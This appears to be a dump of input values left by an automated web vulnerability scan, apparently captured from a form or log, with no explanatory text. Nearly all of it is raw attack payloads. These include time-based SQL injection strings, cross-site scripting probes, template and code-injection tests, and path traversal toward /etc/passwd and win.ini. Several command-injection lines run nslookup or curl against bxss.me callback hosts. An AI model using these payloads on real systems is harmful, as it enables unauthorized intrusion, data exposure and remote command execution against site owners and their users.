20

  555

  20

  555

  20

  555

  20

  555

  @@rhuW4

  20����%2527%2522\'\"

  20'"

  20

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  555

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20C6SdC0Wg')) OR 80=(SELECT 80 FROM PG_SLEEP(15))--

  20wEtQJDVq') OR 122=(SELECT 122 FROM PG_SLEEP(15))--

  20xUMDgS5j' OR 313=(SELECT 313 FROM PG_SLEEP(15))--

  20-1)) OR 108=(SELECT 108 FROM PG_SLEEP(15))--

  20-1) OR 290=(SELECT 290 FROM PG_SLEEP(15))--

  20-1 OR 704=(SELECT 704 FROM PG_SLEEP(15))--

  20XcDACjup')); waitfor delay '0:0:15' --

  20k19xtgMo'); waitfor delay '0:0:15' --

  20GxzLiHYb'; waitfor delay '0:0:15' --

  20-1 waitfor delay '0:0:15' --

  20-1)); waitfor delay '0:0:15' --

  20-1); waitfor delay '0:0:15' --

  20-1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

  200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

  20*if(now()=sysdate(),sleep(15),0)

  -1" OR 3*2>(0+5+558-558) --

  -1" OR 3*2<(0+5+558-558) --

  -1" OR 3+558-558-1=0+0+0+1 --

  -1" OR 2+558-558-1=0+0+0+1 --

  -1' OR 3*2>(0+5+379-379) or 'E0pm93LU'='

  -1' OR 3*2<(0+5+379-379) or 'E0pm93LU'='

  -1' OR 3+379-379-1=0+0+0+1 or 'E0pm93LU'='

  -1' OR 2+379-379-1=0+0+0+1 or 'E0pm93LU'='

  -1' OR 3*2>(0+5+101-101) --

  -1' OR 3*2<(0+5+101-101) --

  -1' OR 3+101-101-1=0+0+0+1 --

  -1' OR 2+101-101-1=0+0+0+1 --

  -1 OR 3*2>(0+5+309-309)

  -1 OR 3*2<(0+5+309-309)

  -1 OR 3+309-309-1=0+0+0+1

  -1 OR 2+309-309-1=0+0+0+1

  -1 OR 3*2>(0+5+200-200) --

  -1 OR 3*2<(0+5+200-200) --

  -1 OR 3+200-200-1=0+0+0+1 --

  -1 OR 2+200-200-1=0+0+0+1 --

  20

  555

  20

  555

  555

  20

  555

  20

  555

  20

  555

  20

  555

  20

  555

  20

  @@7SZ3X

  555%C0%A7%C0%A2%2527%2522\'\"

  555'"

  555

  555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20

  555IPYx6EZf')) OR 417=(SELECT 417 FROM PG_SLEEP(15))--

  555lZPl0V2b') OR 255=(SELECT 255 FROM PG_SLEEP(15))--

  555kG4MIHOh' OR 31=(SELECT 31 FROM PG_SLEEP(15))--

  555-1)) OR 163=(SELECT 163 FROM PG_SLEEP(15))--

  555-1) OR 397=(SELECT 397 FROM PG_SLEEP(15))--

  555-1 OR 18=(SELECT 18 FROM PG_SLEEP(15))--

  555WhhCsWDM')); waitfor delay '0:0:15' --

  555kd63BI7C'); waitfor delay '0:0:15' --

  555l7cvWPX9'; waitfor delay '0:0:15' --

  555-1 waitfor delay '0:0:15' --

  555-1)); waitfor delay '0:0:15' --

  555-1); waitfor delay '0:0:15' --

  20

  20

  20

  555-1; waitfor delay '0:0:15' --

  20<iframe src="9651.com"></iframe>

  20

  20qhpMs

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  20}body{zzz:Expre/**/SSion(40Rl(9630))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  20<input>

  �<img>

  20&lt;ScRiPt&gt;40Rl(9067)&lt;/sCripT&gt;

  20\u003CScRiPt\40Rl(9604)\u003C/sCripT\u003E

  %32%30%3C%53%63%52%69%50%74%20%3E%34%30%52%6C%289810%29%3C%2F%73%43%72%69%70%54%3E

  20<img src="&gt;">

  20<img src="xyz">

  5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

  20<img src="//xss.bxss.me/t/dot.gif">

  20

  20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  20

  20&lt;ScRiPt &gt;40Rl(9883)

  20

  20

  5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

  20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%34%30%52%6C%28%39%32%37%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

  209459

  20

  20

  20

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  20

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  20

  555*if(now()=sysdate(),sleep(15),0)

 

  20

  &lt;%={{={@{#{${dfb}}%&gt;

  bfgx9251%C0%BEz1%C0%BCz2a%90bcxhjl9251

  bfg5843%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5843

  209055545

  '"()&amp;%

  20'"()&amp;%

  -1" OR 3*2&gt;(0+5+98-98) --

  -1" OR 3*2&lt;(0+5+98-98) --

  -1" OR 3+98-98-1=0+0+0+1 --

  -1" OR 2+98-98-1=0+0+0+1 --

  -1' OR 3*2&gt;(0+5+646-646) or 'jxndiP17'='

  -1' OR 3*2&lt;(0+5+646-646) or 'jxndiP17'='

  20

  -1' OR 3+646-646-1=0+0+0+1 or 'jxndiP17'='

  20

  -1' OR 2+646-646-1=0+0+0+1 or 'jxndiP17'='

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitkugjajhsoo4da2f.bxss.me||curl${IFS}hitkugjajhsoo4da2f.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitkugjajhsoo4da2f.bxss.me||curl${IFS}hitkugjajhsoo4da2f.bxss.me)&amp;`'

  -1' OR 3*2&gt;(0+5+691-691) --

  20

  -1' OR 3*2&lt;(0+5+691-691) --

  -1' OR 3+691-691-1=0+0+0+1 --

  -1' OR 2+691-691-1=0+0+0+1 --

  |(nslookup${IFS}-q${IFS}cname${IFS}hitbkoimrtuhn2d494.bxss.me||curl${IFS}hitbkoimrtuhn2d494.bxss.me)

  -1 OR 3*2&gt;(0+5+819-819)

  ;(nslookup -q=cname hitlnhzeybijy2cd63.bxss.me||curl hitlnhzeybijy2cd63.bxss.me)|(nslookup -q=cname hitlnhzeybijy2cd63.bxss.me||curl hitlnhzeybijy2cd63.bxss.me)&amp;(nslookup -q=cname hitlnhzeybijy2cd63.bxss.me||curl hitlnhzeybijy2cd63.bxss.me)

  -1 OR 3*2&lt;(0+5+819-819)

  20

  -1 OR 3+819-819-1=0+0+0+1

  `(nslookup -q=cname hitxllrvxebhbd84a3.bxss.me||curl hitxllrvxebhbd84a3.bxss.me)`

  |(nslookup -q=cname hitcqjclppumwf3f63.bxss.me||curl hitcqjclppumwf3f63.bxss.me)

  -1 OR 2+819-819-1=0+0+0+1

  &amp;(nslookup -q=cname hitegachjeqrgbf0a0.bxss.me||curl hitegachjeqrgbf0a0.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitegachjeqrgbf0a0.bxss.me||curl hitegachjeqrgbf0a0.bxss.me)&amp;`'

  &amp;nslookup -q=cname hitbfcnizjttf6fe10.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitbfcnizjttf6fe10.bxss.me&amp;`'

  $(nslookup -q=cname hitkwysicjnnxf9532.bxss.me||curl hitkwysicjnnxf9532.bxss.me)

  (nslookup -q=cname hitnzypycfbnzd972e.bxss.me||curl hitnzypycfbnzd972e.bxss.me))

  expr 9000387321 - 922821

  -1 OR 3*2&gt;(0+5+417-417) --

  20|echo vvfnql$()\ nybvge\nz^xyu||a #' |echo vvfnql$()\ nybvge\nz^xyu||a #|" |echo vvfnql$()\ nybvge\nz^xyu||a #

  -1 OR 3*2&lt;(0+5+417-417) --

  -1 OR 3+417-417-1=0+0+0+1 --

  -1 OR 2+417-417-1=0+0+0+1 --

  |echo jfwygc$()\ smjwub\nz^xyu||a #' |echo jfwygc$()\ smjwub\nz^xyu||a #|" |echo jfwygc$()\ smjwub\nz^xyu||a #

  555

  20&amp;echo dyztbw$()\ klomow\nz^xyu||a #' &amp;echo dyztbw$()\ klomow\nz^xyu||a #|" &amp;echo dyztbw$()\ klomow\nz^xyu||a #

  20

  &amp;echo molcvn$()\ zkjmzs\nz^xyu||a #' &amp;echo molcvn$()\ zkjmzs\nz^xyu||a #|" &amp;echo molcvn$()\ zkjmzs\nz^xyu||a #

  echo jvorch$()\ jdmbjp\nz^xyu||a #' &amp;echo jvorch$()\ jdmbjp\nz^xyu||a #|" &amp;echo jvorch$()\ jdmbjp\nz^xyu||a #

  555

  '.print(md5(31337)).'

  12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡

  ${@print(md5(31337))}\

  20

  ${@print(md5(31337))}

  20

  ";print(md5(31337));$a="

  ';print(md5(31337));$a='

  ${9999885+10000492}

  20

  20

  20

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  20

  bxss.me

  555

 

  '"

  20

  c:/windows/win.ini

  555

  'A'.concat(70-3).concat(22*4).concat(105).concat(80).concat(118).concat(72)+(require'socket' Socket.gethostbyname('hitnp'+'gwlqigdv3bd2c.bxss.me.')[3].to_s)

  ../../../../../../../../../../../../../../etc/shells

  /etc/shells

  '+'A'.concat(70-3).concat(22*4).concat(97).concat(87).concat(101).concat(72)+(require'socket' Socket.gethostbyname('hitdy'+'etrdagqj7ba57.bxss.me.')[3].to_s)+'

  http://bxss.me/t/fit.txt%3F.jpg

  555

  "+"A".concat(70-3).concat(22*4).concat(109).concat(66).concat(114).concat(86)+(require"socket" Socket.gethostbyname("hitlx"+"gldcxsxtc8e8f.bxss.me.")[3].to_s)+"

  Http://bxss.me/t/fit.txt

  555

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  bxss.me/t/xss.html?%00

  HttP://bxss.me/t/xss.html?%00

  20

  20"||sleep(27*1000)*zsqkgj||"

  20'||sleep(27*1000)*vokcpq||'

  20"&amp;&amp;sleep(27*1000)*stwxyh&amp;&amp;"

  20'&amp;&amp;sleep(27*1000)*uutcqq&amp;&amp;'

  '"()

  555

  20

  20

  555

  gethostbyname(lc('hitnj'.'fwiwnffx71050.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(65).chr(118).chr(73)

  ".gethostbyname(lc("hitrv"."kzarrjpbcc163.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(65).chr(98).chr(69)."

  555

  '.gethostbyname(lc('hitjv'.'ezsukell7f4ee.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(89).chr(100).chr(67).'

  555

  20

  20

  20

  ./20

  555

  ../20

  555

  20

  555

  555<iframe src="9046.com"></iframe>

  555

  5553t3OE

  file:///etc/passwd

  555}body{zzz:Expre/**/SSion(Y6Ez(9284))}

  <a></a>

  ../../../../../../../../../../../../../../windows/win.ini

  <a href="http://xss.bxss.me"></a>

  555<input>

  ../../../../../../../../../../../../../../etc/passwd

  %F6<img>

  555&lt;ScRiPt&gt;Y6Ez(9854)&lt;/sCripT&gt;

  20

  20

  ^(#$!@#$)(()))******

  555\u003CScRiPt\Y6Ez(9452)\u003C/sCripT\u003E

  !(()&amp;&amp;!|*|*|

  )

  %35%35%35%3C%53%63%52%69%50%74%20%3E%59%36%45%7A%289234%29%3C%2F%73%43%72%69%70%54%3E

  555<img src="&gt;">

  20

  555<img src="xyz">

  555<img src="//xss.bxss.me/t/dot.gif">

  20

  555

  555<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20

  20

  555<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

  +response.write(9411490*9156075)'

  555

  &lt;% response.write(9411490*9156075) %&gt;

  "+response.write(9411490*9156075)+"

  555&lt;ScRiPt &gt;Y6Ez(9394)

  '+response.write(9411490*9156075)+'

  555

  response.write(9411490*9156075)

  555

  555IpT&gt;

  5559371

  20

  555

  20

  555

  555

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  555

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  20

  redirtest.acx

  dfb{{98991*97996}}xca

  555

  555

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  555

 

  555

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  555

  &lt;%={{={@{#{${dfb}}%&gt;

  555

  bfgx6015%C0%BEz1%C0%BCz2a%90bcxhjl6015

  555

  12345'"\'\");|]*{ &lt;&gt;%BF''💡

  ${9999209+10000211}

  555

  bfg7420＜s1﹥s2ʺs3ʹhjl7420

  5559216342

  '"()&amp;%

  555'"()&amp;%

  555

 

  '"

  555

  555

  index.php/.

  555

  index.php

  index.php

  'A'.concat(70-3).concat(22*4).concat(110).concat(70).concat(101).concat(87)+(require'socket' Socket.gethostbyname('hitlt'+'giozbkxna2f56.bxss.me.')[3].to_s)

  '+'A'.concat(70-3).concat(22*4).concat(100).concat(71).concat(115).concat(73)+(require'socket' Socket.gethostbyname('hitvg'+'wroybzhl3fffb.bxss.me.')[3].to_s)+'

  '.print(md5(31337)).'

  555

  "+"A".concat(70-3).concat(22*4).concat(108).concat(87).concat(113).concat(77)+(require"socket" Socket.gethostbyname("hitzl"+"vmsnyblp106c2.bxss.me.")[3].to_s)+"

  ${@print(md5(31337))}\

  ${@print(md5(31337))}

  bxss.me

  ";print(md5(31337));$a="

  c:/windows/win.ini

  ../../../../../../../../../../../../../../etc/shells

  /etc/shells

  ';print(md5(31337));$a='

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  http://bxss.me/t/fit.txt?.jpg

  555

  Http://bxss.me/t/fit.txt

  555

  bxss.me/t/xss.html?%00

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  HttP://bxss.me/t/xss.html?%00

  555

  555"||sleep(27*1000)*gxytru||"

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

  555'||sleep(27*1000)*brjcvr||'

  555"&amp;&amp;sleep(27*1000)*zojkjk&amp;&amp;"

  gethostbyname(lc('hitom'.'xjqixdgv48787.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(90).chr(98).chr(77)

  555'&amp;&amp;sleep(27*1000)*vjutgv&amp;&amp;'

  ".gethostbyname(lc("hitmz"."aqlhtofz11d89.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(88).chr(106).chr(85)."

  '"()

  '.gethostbyname(lc('hitos'.'mcievintc4e18.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(83).chr(100).chr(72).'

  555

  555

  ^(#$!@#$)(()))******

  !(()&amp;&amp;!|*|*|

  555

  )

  555

  redirtest.acx

  555

  555

  ./555

  ../555

  555

  file:///etc/passwd

  ../../../../../../../../../../../../../../windows/win.ini

  ../../../../../../../../../../../../../../etc/passwd

  555

  &amp;(nslookup${IFS}-q${IFS}cname${IFS}hitjoqbsrdrxb7fc69.bxss.me||curl${IFS}hitjoqbsrdrxb7fc69.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitjoqbsrdrxb7fc69.bxss.me||curl${IFS}hitjoqbsrdrxb7fc69.bxss.me)&amp;`'

  |(nslookup${IFS}-q${IFS}cname${IFS}hitsnparjfyan8a94a.bxss.me||curl${IFS}hitsnparjfyan8a94a.bxss.me)

  ;(nslookup -q=cname hitiejtbtpsko68580.bxss.me||curl hitiejtbtpsko68580.bxss.me)|(nslookup -q=cname hitiejtbtpsko68580.bxss.me||curl hitiejtbtpsko68580.bxss.me)&amp;(nslookup -q=cname hitiejtbtpsko68580.bxss.me||curl hitiejtbtpsko68580.bxss.me)

  `(nslookup -q=cname hitdswojlvqoif4001.bxss.me||curl hitdswojlvqoif4001.bxss.me)`

  |(nslookup -q=cname hitvyzctwlvbs4d0b6.bxss.me||curl hitvyzctwlvbs4d0b6.bxss.me)

  &amp;(nslookup -q=cname hitiziblfipvhbc651.bxss.me||curl hitiziblfipvhbc651.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitiziblfipvhbc651.bxss.me||curl hitiziblfipvhbc651.bxss.me)&amp;`'

  &amp;nslookup -q=cname hitjnbtdywmlqdea7c.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitjnbtdywmlqdea7c.bxss.me&amp;`'

  $(nslookup -q=cname hitfqyjwgcwhpbf412.bxss.me||curl hitfqyjwgcwhpbf412.bxss.me)

  (nslookup -q=cname hitrvwqkdezsfcae7a.bxss.me||curl hitrvwqkdezsfcae7a.bxss.me))

  expr 9000630983 - 953544

  555|echo bjeycy$()\ fetlsq\nz^xyu||a #' |echo bjeycy$()\ fetlsq\nz^xyu||a #|" |echo bjeycy$()\ fetlsq\nz^xyu||a #

  |echo rvpexn$()\ yhxsda\nz^xyu||a #' |echo rvpexn$()\ yhxsda\nz^xyu||a #|" |echo rvpexn$()\ yhxsda\nz^xyu||a #

  555&amp;echo lfyydy$()\ ccbzgy\nz^xyu||a #' &amp;echo lfyydy$()\ ccbzgy\nz^xyu||a #|" &amp;echo lfyydy$()\ ccbzgy\nz^xyu||a #

  555

  &amp;echo rurcfr$()\ xeupnp\nz^xyu||a #' &amp;echo rurcfr$()\ xeupnp\nz^xyu||a #|" &amp;echo rurcfr$()\ xeupnp\nz^xyu||a #

  echo ekspgt$()\ cgocyg\nz^xyu||a #' &amp;echo ekspgt$()\ cgocyg\nz^xyu||a #|" &amp;echo ekspgt$()\ cgocyg\nz^xyu||a #

  20

  555

  +response.write(9436894*9460543)'

  &lt;% response.write(9436894*9460543) %&gt;

  20

  "+response.write(9436894*9460543)+"

  '+response.write(9436894*9460543)+'

  response.write(9436894*9460543)

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  555

  20

  20

  20

  20